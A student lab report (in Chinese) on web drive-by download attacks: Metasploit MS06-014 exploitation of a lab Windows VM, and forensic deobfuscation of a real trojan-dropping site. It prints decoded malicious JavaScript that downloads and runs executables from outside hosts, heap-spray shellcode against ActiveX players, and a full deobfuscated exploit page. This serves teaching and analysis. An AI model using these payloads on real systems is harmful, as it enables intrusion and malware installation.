20212907 2021-2022-2 《网络攻防实践》实践十一报告

一.实践内容

1、Web应用的基本概念及攻击方式
Web (World Wide Web)也称为万维网
➢脱离单机
➢Web应用在互联网上占据了及其重要的地位
➢Web应用的发展
■Web1.0-->Web2.0-->Web3.0-->.

常见的 Web 攻击手段主要有 XSS 攻击、CSRF 攻击、SQL 注入攻击、DDos 攻击、文件漏洞攻击等。这几种攻击方式的防护手段并不复杂,却还是有很多企业遭受了该攻击,朔源到头,还是因为人为的疏忽。

广泛使用的是浏览器/服务器架构(B/S)

2.网络挂马
网页挂马是攻击者构造携带木马程序的网页,该网页在被浏览器访问时,利用系统漏洞、浏览器漏洞或用户缺乏安全意识等问题,将木马下载到用户的系统中并执行,从而实现对用户的系统进行攻击。

常见途径:
·利用操作系统、浏览器甚至浏览器的组件漏洞,当用户浏览网页时,页面中预定义的攻击代码被执行,利用漏洞将木马下载到目标计算机系统中并进行执行,典型案例是多年前存在的Adobe Flash组件存在的格式化字符串漏洞,使得攻击者可构造挂马网页,在渲染页面内容时将木马释放到受害者的系统中;
·将木马伪装成页面中的元素,例如下载网站中用户要下载的软件,当用户认为自己下载的是软件,在下载后安装时使得木马进入受害者的系统中;
·利用浏览器脚本运行配置过于宽松的设置,当浏览器的脚本权限设置为全部无需用户确认执行时,攻击者可构造特定的网页,当用户访问时通过脚本将木马释放到用户的系统中。

危害:
·盗取个人信息
·改写磁盘,将计算机系统进行破坏

网页挂马工作原理:
作为网页挂马的散布者,其目的是将木马下载到用户本地并进一步执行,当木马得到执行后,就意味着会有更多的木马被下载,且进一步被执行。这样就进入一个恶性的循环,从而使用户的电脑遭到攻击和控制。为达到目的首先要将木马下载到本地。

常见方式:
·将木马伪装为页面元素,木马则会被浏览器自动下载到本地。
·利用脚本运行的漏洞下载木马。
·利用脚本运行的漏洞释放隐含在网页脚本中的木马。
·将木马伪装成缺失的组件,或和缺失的组件捆绑在一起,如flash播放插件。这样既达到了下载的目的,下载的组件又会被浏览器自动执行。
·通过脚本运行调用某些com组件,利用其漏洞下载木马。
·在渲染页面内容的过程中,利用格式溢出释放木马,如ani格式溢出漏洞。
·在渲染页面内容的过程中,利用格式溢出下载木马,如flash9.0.115播放漏洞。

防御措施:
·对开放上传附件功能的网站,一定要进行身份认证,并只允许信任的人使用上传程序。
·保证所使用的程序及时地更新。
·不要在前台网页加注后台管理程序登录页面的链接。
·时常备份数据库等文件,但是不要把备份数据放在程序默认的备份目录下。
·管理员的用户名和密码要有一定复杂性。
·IIS中禁止目录的写入和执行功能,可以有效防止asp木马。
·在服务器、虚拟主机控制面板设置执行权限选项中,将有上传权限的目录取消asp的运行权限。
·创建一个robots.txt上传到网站根目录,Robots能够有效防范利用搜索引擎窃取信息的骇客。

参考:https://blog.csdn.net/qq_48456652/article/details/120554579
https://blog.csdn.net/weixin_45605352/article/details/115432541

网页挂马的实质是利用漏洞向用户传播木马下载器,当我们更清楚了这点就能做到有效的防范。
网页木马就是网页恶意软件威胁的罪魁祸首,和大家印象中的不同,准确的说,网页木马并不是木马程序,而应该称为网页木马“种植器”,也即一种通过攻击浏览器或浏览器外挂程序(目标通常是IE浏览器和ActiveX程序)的漏洞,向目标用户机器植入木马、病毒、密码盗取等恶意程序的手段。
首先明确,网页木马实际上是一个HTML网页,与其它网页不同的是该网页是黑客精心制作的,用户一旦访问了该网页就会中木马。为什么说是黑客精心制作的呢,因为嵌入在这个网页中的脚本恰如其分地利用了IE浏览器的漏洞,让IE在后台自动下载黑客放置在网络上的木马并运行(安装)这个木马,也就是说,这个网页能下载木马到本地并运行(安装)下载到本地电脑上的木马,整个过程都在后台运行,用户一旦打开这个网页,下载过程和运行(安装)过程就自动开始。

3.网页木马
常见的木马类型:
我们一般区分木马的方法就是根据其功能来进行分类,其好处就是分类明确,各种功能一览无余。

  • 破坏型木马
    其主要的功能就是破坏并且删除文件,一般可以删除像电脑上的DLL、INI、EXE文件,破坏力度还是很大。
  • 密码发送型木马
    这类木马程序可以找到受害者的隐藏密码,并发送给指定邮箱。攻击者通过受害用户的贪图方便的心理,比如一些用户喜欢将个人的一些账户密码以文件的形式存放在硬盘之中,或者一些用户喜欢用windows提供的密码记忆功能,从而省去每次输入密码的麻烦。
    但是还是会被攻击者用木马程序找到,并送到攻击者手中。即使是一些通过加密文件,也会被攻击者用爆破手法给破解。
  • 远程访问型木马
    我们常见的远程访问型木马列如特洛伊木马之类的,这类木马程序一般运行之后,受害者的电脑IP就会被攻击者所知,然后受害者的电脑就会被攻击者所控制。
  • 键盘记录型木马
    这类木马也是特洛伊木马的一种,是一种记录键盘操作的木马,攻击者可以利用此木马记录受害者输入的信息,从而盗取用户各类账户信息,给用户带来不可估量的财产损失。
  • Dos型攻击木马
    Dos型攻击木马利用TCP协议本身的弱点,能够使目标系统彻底崩溃,更严重的会破坏整个网络系统。万一其中的一台电脑被感染,感染的这台机器就会被攻击者用来控制网络中的其他机器,给网络系统带来严重危害。
    对于这类木马,我们应该从网络全局角度出发,通过在网络基础设施的各个层面设置相对应的安全措施,包括在局域网层面采用特殊的安全措施,以及在传输层面进行必要的安全设置,并安装专门的Dos识别和防御工具,最大限度地减少Dos攻击所造成的损失。

二.实践过程

2.1 web浏览器渗透攻击
任务:使用攻击机和Windows靶机进行浏览器渗透攻击实验,体验网页木马构造及实施浏览器攻击的实际过程。
·使用 Metasploit 的 MS06-014 渗透攻击模块( ie_createobject );
·选择payload为任意远程连接,设置参数,得到恶意url地址;
·设置服务器地址(SVRHOST或LHOST)和URL参数。运行exploit,构造出恶意网页木马脚本;
·在靶机环境中启动浏览器,验证与服务器的连通性,并访问唯一网页木马脚本URL;
·在攻击机 Metasploit 软件中查看渗透攻击状态,并通过成功渗透攻击后建立起的远程控制会话SESSION,在靶机上远程执行命令。

  • 实验环境:
    攻击机kali:192.168.1.104
    靶机Win2kServer:192.168.1.107

  • 在kali中输入 msfconsole ,打开Metasploit;

  • 使用命令 search MS06-014 搜索 MS06-014 渗透攻击模块,发现只有一个可用的攻击模块;

  • 输入use 0,使用该模块进行攻击

  • 输入set LHOST 192.168.1.104设置攻击机地址;

  • 查询载荷;输入set payload windows/shell/bind_tcp设置载荷;

  • 输入exploit进行攻击

  • 攻击后会得到有木马的网址为 http://192.168.1.104:8080/gcae6RoeBC,然后在靶机中访问地址,返回一段英文字符

  • 此时攻击机中显示靶机到攻击机的session被建立,攻击成功

  • 输入 sessions 查看当前连接,使用命令 sessions 1 选择会话1,返回 meterpreter ;

  • 使用 getuid 查看当前权限为 administrator
  • 输入命令 ipconfig 查看靶机地址为 192.168.1.107

2.2 取证分析实践:剖析一个实际的网页木马攻击场景
①访问start.html,在这个文件中给出了new09.htm的地址。

  • 用记事本打开start.html,分析发现在该网页嵌入了一个内联框架,指向了一个网页new09.htm,且该内联框架高度宽度为0,不易发现。从这两处可以看出start.html文件在引用new09.htm文件时没有写绝对路径,所以new09.htm文件与start.html文件在同一目录下。

  • 查看new09.htm文件

②在进入 htm 后,每解密出一个文件地址,请对其作 32 位 MD5 散列,以散列值为文件名。

  • 从这两处可以看出 start.html 文件在引用 new09.htm 文件时没有写绝对路径,所以可以知道new09.htm 文件与 start.html 文件在同一目录下。同样,下载下来并用记事本打开。在 new09.htm 文件中,用 iframe 引用了一个 http://aa.18dd.net/aa/kl.htm 文件,用 javascript 引用了一个 http://js.users.51.la/1299644.js 文件。

  • 对它们分别作 MD5 散列计算

③如果解密出的地址给出的是网页或脚本文件,请继续解密;如果解密出的地址是二进制程序文件,进行静态反汇编或动态调试;重复以上过程直到这些文件被全部分析完成。

  • 在hashed文件夹下找到这两个文件:7f60672dcd6b5e90b6772545ee219bd3和23180a42a2ff1192150231b44ffdf3d3,用记事本打开:

  • 第二个文件中不是我们想要的内容,第一个文件中的内容使用XXTEABase64加密方法,到加密密钥就在倒数第三行中:t=utf8to16(xxtea_decrypt(base64decode(t), '\x73\x63\x72\x69\x70\x74'));将\x73\x63\x72\x69\x70\x74使用十六进制转字符串的操作,即可得到密钥:script

  • 使用https://cycy.sourceforge.io/xxtea/进行XXTEABase64解密:在密钥一栏中填入“script”,在下面大的文本框中粘贴7f60672dcd6b5e90b6772545ee219bd3.txt文件的全部内容,点“解密”,文本框的内容变为:

    完整内容如下:

<script>
eval("\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x69\x6e\x69\x74\x28\x29\x7b\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x29\x3b\x7d\x0d\x0a\x77\x69\x6e\x64\x6f\x77\x2e\x6f\x6e\x6c\x6f\x61\x64\x20\x3d\x20\x69\x6e\x69\x74\x3b\x0d\x0a\x69\x66\x28\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x6f\x6f\x6b\x69\x65\x2e\x69\x6e\x64\x65\x78\x4f\x66\x28\x27\x4f\x4b\x27\x29\x3d\x3d\x2d\x31\x29\x7b\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x65\x3b\x0d\x0a\x76\x61\x72\x20\x61\x64\x6f\x3d\x28\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74\x28\x22\x6f\x62\x6a\x65\x63\x74\x22\x29\x29\x3b\x0d\x0a\x61\x64\x6f\x2e\x73\x65\x74\x41\x74\x74\x72\x69\x62\x75\x74\x65\x28\x22\x63\x6c\x61\x73\x73\x69\x64\x22\x2c\x22\x63\x6c\x73\x69\x64\x3a\x42\x44\x39\x36\x43\x35\x35\x36\x2d\x36\x35\x41\x33\x2d\x31\x31\x44\x30\x2d\x39\x38\x33\x41\x2d\x30\x30\x43\x30\x34\x46\x43\x32\x39\x45\x33\x36\x22\x29\x3b\x0d\x0a\x76\x61\x72\x20\x61\x73\x3d\x61\x64\x6f\x2e\x63\x72\x65\x61\x74\x65\x6f\x62\x6a\x65\x63\x74\x28\x22\x41\x64\x6f\x64\x62\x2e\x53\x74\x72\x65\x61\x6d\x22\x2c\x22\x22\x29\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x65\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x0d\x0a\x76\x61\x72\x20\x65\x78\x70\x69\x72\x65\x73\x3d\x6e\x65\x77\x20\x44\x61\x74\x65\x28\x29\x3b\x0d\x0a\x65\x78\x70\x69\x72\x65\x73\x2e\x73\x65\x74\x54\x69\x6d\x65\x28\x65\x78\x70\x69\x72\x65\x73\x2e\x67\x65\x74\x54\x69\x6d\x65\x28\x29\x2b\x32\x34\x2a\x36\x30\x2a\x36\x30\x2a\x31\x30\x30\x30\x29\x3b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x6f\x6f\x6b\x69\x65\x3d\x27\x63\x65\x3d\x77\x69\x6e\x64\x6f\x77\x73\x78\x70\x3b\x70\x61\x74\x68\x3d\x2f\x3b\x65\x78\x70\x69\x72\x65\x73\x3d\x27\x2b\x65\x78\x70\x69\x72\x65\x73\x2e\x74\x6f\x47\x4d\x54\x53\x74\x72\x69\x6e\x67\x28\x29\x3b\x0d\x0a\x69\x66\x28\x65\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x22\x3c\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3d\x68\x74\x74\x70\x3a\x5c\x2f\x5c\x2f\x61\x61\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x5c\x2f\x61\x61\x5c\x2f\x31\x2e\x6a\x73\x3e\x3c\x5c\x2f\x73\x63\x72\x69\x70\x74\x3e\x22\x29\x7d\x0d\x0a\x65\x6c\x73\x65\x7b\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x66\x3b\x76\x61\x72\x20\x73\x74\x6f\x72\x6d\x3d\x6e\x65\x77\x20\x41\x63\x74\x69\x76\x65\x58\x4f\x62\x6a\x65\x63\x74\x28\x22\x4d\x50\x53\x2e\x53\x74\x6f\x72\x6d\x50\x6c\x61\x79\x65\x72\x22\x29\x3b\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x66\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x69\x66\x28\x66\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x22\x3c\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3d\x68\x74\x74\x70\x3a\x5c\x2f\x5c\x2f\x61\x61\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x5c\x2f\x61\x61\x5c\x2f\x62\x2e\x6a\x73\x3e\x3c\x5c\x2f\x73\x63\x72\x69\x70\x74\x3e\x22\x29\x7d\x7d\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x67\x3b\x76\x61\x72\x20\x70\x70\x73\x3d\x6e\x65\x77\x20\x41\x63\x74\x69\x76\x65\x58\x4f\x62\x6a\x65\x63\x74\x28\x22\x50\x4f\x57\x45\x52\x50\x4c\x41\x59\x45\x52\x2e\x50\x6f\x77\x65\x72\x50\x6c\x61\x79\x65\x72\x43\x74\x72\x6c\x2e\x31\x22\x29\x3b\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x67\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x69\x66\x28\x67\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x22\x3c\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3d\x68\x74\x74\x70\x3a\x5c\x2f\x5c\x2f\x61\x61\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x5c\x2f\x61\x61\x5c\x2f\x70\x70\x73\x2e\x6a\x73\x3e\x3c\x5c\x2f\x73\x63\x72\x69\x70\x74\x3e\x22\x29\x7d\x7d\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x68\x3b\x76\x61\x72\x20\x6f\x62\x6a\x3d\x6e\x65\x77\x20\x41\x63\x74\x69\x76\x65\x58\x4f\x62\x6a\x65\x63\x74\x28\x22\x42\x61\x69\x64\x75\x42\x61\x72\x2e\x54\x6f\x6f\x6c\x22\x29\x3b\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x68\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x69\x66\x28\x68\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x6f\x62\x6a\x2e\x44\x6c\x6f\x61\x64\x44\x53\x28\x22\x68\x74\x74\x70\x3a\x2f\x2f\x64\x6f\x77\x6e\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x2f\x62\x62\x2f\x62\x64\x2e\x63\x61\x62\x22\x2c\x20\x22\x62\x64\x2e\x65\x78\x65\x22\x2c\x20\x30\x29\x7d\x7d\x0d\x0a\x7d\x7d\x7d")
</script>

  • 对引号内的十六进制数进行转字符串的操作,可得以下内容

完整数据如下:

function init(){document.write();}
window.onload = init;
if(document.cookie.indexOf('OK')==-1){
try{var e;
var ado=(document.createElement("object"));
ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");
var as=ado.createobject("Adodb.Stream","")}
catch(e){};
finally{
var expires=new Date();
expires.setTime(expires.getTime()+24*60*60*1000);
document.cookie='ce=windowsxp;path=/;expires='+expires.toGMTString();
if(e!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/1.js><\/script>")}
else{
try{var f;var storm=new ActiveXObject("MPS.StormPlayer");}
catch(f){};
finally{if(f!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/b.js><\/script>")}}
try{var g;var pps=new ActiveXObject("POWERPLAYER.PowerPlayerCtrl.1");}
catch(g){};
finally{if(g!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/pps.js><\/script>")}}
try{var h;var obj=new ActiveXObject("BaiduBar.Tool");}
catch(h){};
finally{if(h!="[object Error]"){
obj.DloadDS("http://down.18dd.net/bb/bd.cab", "bd.exe", 0)}}
}}}

  • 打开文件5d7e9058a857aa2abee820d5473c5fa4

  • 对引号内十六进制数进行转字符串的操作,便可以得到以下内容,该代码下载了一个http://down.18dd.net/bb/014.exe可执行文件

var url="http://down.18dd.net/bb/014.exe"; try{var xml=ado.CreateObject("Microsoft.XMLHTTP",""); xml.Open ("GET",url,0);xml.Send(); as.type=1;as.open();as.write(xml.responseBody);path="..\\ntuser.com";as.savetofile(path,2);as.close (); var shell=ado.createobject("Shell.Application",""); shell.ShellExecute("cmd.exe","/c "path,"","open",0)}catch(e){}
  • 打开文件3870c28cc279d457746b3796a262f166

  • 这里使用了packed加密方法,可以在UnPacker (matthewfl.com)上进行解密,解密结果如下,可以看到关键字shellcode,shellcode是一个下载器,因此需要寻找其中的URL,最后找到的结果为http://down.18dd.net/bb/bf.exe得到一个可执行文件。

var bigblock=unescape("%u9090%u9090"); var headersize=20; var shellcode=unescape("%uf3e9%u0000""%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c""%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378""%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b""%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%ufcef""%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1""%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103""%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904""%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b""%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e""%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d""%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320""%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344""%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc""%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0""%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab""%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f""%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574""%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e""%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00""%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c""%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54""%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u6662%u652e%u6578%u0000"); var slackspace=headersizeshellcode.length; while(bigblock.length<slackspace)bigblock=bigblock; fillblock=bigblock.substring(0,slackspace); block=bigblock.substring(0,bigblock.length-slackspace); while(block.lengthslackspace<0x40000)block=blockblockfillblock; memory=new Array(); for(x=0;x<300;x) memory[x]=blockshellcode; var buffer=''; while(buffer.length<4068)buffer="\x0a\x0a\x0a\x0a"; storm.rawParse(buffer)
  • 打开文件5f0b8bf0385314dbe0e5ec95e6abedc2

  • 该文件采用了八进制加密方式,解密结果如下,可以得到可执行文件http://down.18dd.net/bb/pps.exe

/*%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" "%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" "%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" "%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" "%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" "%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" "%u206a%uff53%uec57%u*/ pps=(document.createElement("object")); pps.setAttribute("classid","clsid:5EC7C511-CD0F-42E6-830C-1BD9882F3458") var shellcode = unescape("%uf3e9%u0000" "%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c" "%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378" "%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" "%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%u04c7" "%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1" "%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" "%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" "%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" "%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" "%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" "%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" "%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" "%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc" "%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0" "%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" "%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f" "%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574" "%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" "%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00" "%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c" "%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" "%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u62 2f%u2f62%u7070%u2e73%u7865%u0065"); var bigblock = unescape("%u9090%u9090"); var headersize = 20; var slackspace = headersizeshellcode.length; while (bigblock.length<slackspace) bigblock=bigblock; fillblock = bigblock.substring(0, slackspace); block = bigblock.substring(0, bigblock.length-slackspace); while(block.lengthslackspace<0x40000) block = blockblockfillblock; memory = new Array(); for (x=0; x<400; x) memory[x] = block shellcode; var buffer = ''; while (buffer.length < 500) buffer="\x0a\x0a\x0a\x0a"; pps.Logo = buffer

  • 使用命令“certutil -hashfile 文件名 MD5”对这四个文件分别进一步计算MD5值,发现MD5值均为1290ecd734d68d52318ea9016dc6fe63,由此可见这四个文件的内容一样,只要分析其中一个就可以了。

  • 打开WinXP虚拟机,使用超级巡警工具查看bf.exe的加壳情况

  • 用W32Dasm软件反汇编df.exe文件,并查看串式参考内容清单

  • 对该清单进行分析:
    从以下内容可以得到该程序生成“Alletdel.bat”文件,该文件的能够不断执行“try”标签下一行的命令,如更改系统日期、删除某些文件

  • 从以下内容等可以得到该程序可能在磁盘根目录生成自动运行文件

  • 从以下内容可以得到该程序要对IE、注册表、服务和系统文件进行破坏

  • 从以下内容可以得到这个程序有一定的防系统保护软件的能力

  • 可以看到该程序里有20个"http://down.18dd.net/kl/**.exe",表明该程序会下载一些木马

2.3 攻防对抗实践—web浏览器渗透攻击攻防
①攻击方使用Metasploit构造出至少两个不同Web浏览端软件安全漏洞的渗透攻击代码,并进行混淆处理之后组装成一个URL,通过具有欺骗性的电子邮件发送给防守方。

  • 在Kali虚拟机中,按照2.1中第一个实验步骤使用MS06-014漏洞生成URL,http://192.168.1.104:8080/gcae6RoeBC

  • 然后将该URL伪装成“点击这里”放在邮件正文里发给被攻击者

②防守方对电子邮件中的挂马链接进行提取、解混淆分析、尝试恢复出渗透代码的原始形态,并分析这些渗透代码都是攻击哪些Web浏览端软件的哪些安全漏洞。

  • 防守方收到邮件:

  • 防守方打开邮件中的伪装的URL,查看源文件,发现源代码中使用了大量空格、制表符回车等,目的是对关键指令进行字符串拼接,从而防止被杀毒软件发现。

  • 使用notepad小工具处理上述源代码,将空格(\s)、水平制表符(\t)、回车(\r)删掉,对代码进行调整得到结果如下

全部内容如下:

<html><head><title></title> <scriptlanguage="javascript"> functionFJiwqgbJtxTNwCGtvNfwyR(o,n) {varr=null; try{eval("r=o"".C""re""ate""Ob""je""ct(n)")} catch(e){} if(!r) {try{eval("r=o"".Cr""ea""teO""bj""ect(n,'')")} catch(e){}}if(!r) {try{eval("r=o"".Cr""ea""teO""bj""ect(n,'','')")}catch(e){}} if(!r) {try{eval("r=o"".Ge""tOb""je""ct('',n)")}catch(e){}} if(!r) {try{eval("r=o"".Ge""tOb""ject(n,'')")}catch(e){}} if(!r) {try{eval("r=o"".Ge""tOb""ject(n)")}catch(e){}} return(r);} functionTgkSFQMEAokscUdmqlExJVO(a) {vars=FJiwqgbJtxTNwCGtvNfwyR(a,"W""Sc""ri""pt"".S""he""ll"); varo=FJiwqgbJtxTNwCGtvNfwyR(a,"A""DO""D""B.S""tr""eam"); vare=s.Environment("P""ro""ce""ss"); varurl=document.location'/p''ay''lo''ad';varxml=null; varbin=e.Item("T""E""M""P")"\\tppBbJMsCPXw"".e""xe"; vardat;try{xml=newXMLHttpRequest();} catch(e) {try{xml=newActiveXObject("Microsoft.XMLHTTP");}catch(e){xml=newActiveXObject("MSXML2.ServerXMLHTTP");}} if(!xml){return(0);} xml.open("GET",url,false); xml.send(null); dat=xml.responseBody;o.Type=1;o.Mode=3;o.Open();o.Write(dat);o.SaveToFile(bin,2);s.Run(bin,0);}functioncrinLgmxhyO() {var i=0; vart=newArray('{''B''D''9''6''C''5''5''6''-''6''5''A''3''-''1''1''D''0''-''9''8''3''A''-''0''0''C''0''4''F''C''2''9''E''3''6''}','{''B''D''9''6''C''5''5''6''-''6''5''A''3''-''1''1''D''0''-''9''8''3''A''-''0''0''C''0''4''F''C''2''9''E''3''0''}','{''7''F''5''B''7''F''6''3''-''F''0''6''F''-''4''3''3''1''-''8''A''2''6''-''3''3''9''E''0''3''C''0''A''E''3''D''}','{''6''e''3''2''0''7''0''a''-''7''6''6''d''-''4''e''e''6''-''8''7''9''c''-''d''c''1''f''a''9''1''d''2''f''c''3''}','{''6''4''1''4''5''1''2''B''-''B''9''7''8''-''4''5''1''D''-''A''0''D''8''-''F''C''F''D''F''3''3''E''8''3''3''C''}','{''0''6''7''2''3''E''0''9''-''F''4''C''2''-''4''3''c''8''-''8''3''5''8''-''0''9''F''C''D''1''D''B''0''7''6''6''}','{''6''3''9''F''7''2''5''F''-''1''B''2''D''-''4''8''3''1''-''A''9''F''D''-''8''7''4''8''4''7''6''8''2''0''1''0''}','{''B''A''0''1''8''5''9''9''-''1''D''B''3''-''4''4''f''9''-''8''3''B''4''-''4''6''1''4''5''4''C''8''4''B''F''8''}','{''D''0''C''0''7''D''5''6''-''7''C''6''9''-''4''3''F''1''-''B''4''A''0''-''2''5''F''5''A''1''1''F''A''B''1''9''}','{''E''8''C''C''C''D''D''F''-''C''A''2''8''-''4''9''6''b''-''B''0''5''0''-''6''C''0''7''C''9''6''2''4''7''6''B''}','{''A''B''9''B''C''E''D''D''-''E''C''7''E''-''4''7''E''1''-''9''3''2''2''-''D''4''A''2''1''0''6''1''7''1''1''6''}','{''0''0''0''6''F''0''3''3''-''0''0''0''0''-''0''0''0''0''-''C''0''0''0''-''0''0''0''0''0''0''0''0''0''0''4''6''}','{''0''0''0''6''F''0''3''A''-''0''0''0''0''-''0''0''0''0''-''C''0''0''0''-''0''0''0''0''0''0''0''0''0''0''4''6''}',null); while(t[i]) {vara=null; if(t[i].substring(0,1)=='{') {a=document.createElement("object");a.setAttribute("cl""as""sid","cl""s""id"":"t[i].substring(1,t[i].length-1));} else{try{a=newActiveXObject(t[i]);}catch(e){}} if(a) {try{varb=FJiwqgbJtxTNwCGtvNfwyR(a,"W""Sc""ri""pt"".S""he""ll"); if(b) {TgkSFQMEAokscUdmqlExJVO(a);return(0);}} catch(e){}}i;}} </script></head> <bodyonload='crinLgmxhyO()'>VPobGXIaRhZxDYlOkxARv</body></html>
  • 分析该代码,可以发现document.location加载payload,且下一行跟了一个可执行文件tppBbJMsCPXw.exe猜测该文件是通过之前的URL下载靶机上的

  • 打开靶机任务管理器查看正在运行的进程,可以发现上述可执行文件正在运行

  • 对于刚才的源代码在var t=newArray数据,去除引号和加号处理,可以得到如下内容,查询这些内容可以知道攻击方利用了MS06-014漏洞

{BD96C556-65A3-11D0-983A-00C04FC29E36}, {BD96C556-65A3-11D0-983A-00C04FC29E30}, {7F5B7F63-F06F-4331-8A26-339E03C0AE3D}, {6e32070a-766d-4ee6-879c-dc1fa91d2fc3}, {6414512B-B978-451D-A0D8-FCFDF33E833C}, {06723E09-F4C2-43c8-8358-09FCD1DB0766}, {639F725F-1B2D-4831-A9FD-874847682010}, {BA018599-1DB3-44f9-83B4-461454C84BF8}, {D0C07D56-7C69-43F1-B4A0-25F5A11FAB19}, {E8CCCDDF-CA28-496b-B050-6C07C962476B}, {AB9BCEDD-EC7E-47E1-9322-D4A210617116}, {0006F033-0000-0000-C000-000000000046}, {0006F03A-0000-0000-C000-000000000046}

三.学习中遇到的问题及解决

  • 问题1:输入命令 ifconfig 查看靶机地址时输入ifconfig出不来正确结果。
  • 问题1解决方案:命令理解错误,应该是windows中的ipconfig命令。
